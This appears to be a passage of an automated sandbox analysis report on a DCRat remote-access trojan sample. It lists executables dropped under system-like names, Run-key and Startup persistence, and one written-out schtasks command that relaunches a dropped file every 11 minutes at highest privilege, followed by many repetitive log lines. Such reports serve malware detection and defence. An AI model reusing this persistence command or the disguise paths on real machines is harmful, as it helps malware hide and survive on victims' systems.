Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	File created: C:\Componenthost\providerreviewdhcp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\cougif6lqM.exe	File created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Jump to dropped file
Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Jump to dropped file
Source: C:\Users\user\Desktop\cougif6lqM.exe	File created: C:\Users\user\AppData\Local\Temp\javaclient.exe	Jump to dropped file
Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Recovery\csrss.exe	Jump to dropped file
Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Jump to dropped file
Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Program Files\Windows Mail\WmiPrvSE.exe	Jump to dropped file
Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	Jump to dropped file
Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Jump to dropped file
Source: C:\Componenthost\providerreviewdhcp.exe	File created: C:\Users\user\cmd.exe	Jump to dropped file

Source: C:\Componenthost\providerreviewdhcp.exe

File created: C:\Users\user\cmd.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Componenthost\providerreviewdhcp.exe

File created: C:\Users\user\cmd.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 11 /tr "'C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JavaClient.lnk

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JavaClient.lnk

Loading BitLocker PowerShell Module

Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run JavaClient			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run JavaClient			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cougif6lqM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\javaclient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\cmd.exe	Process information set: NOOPENFILEERRORBOX
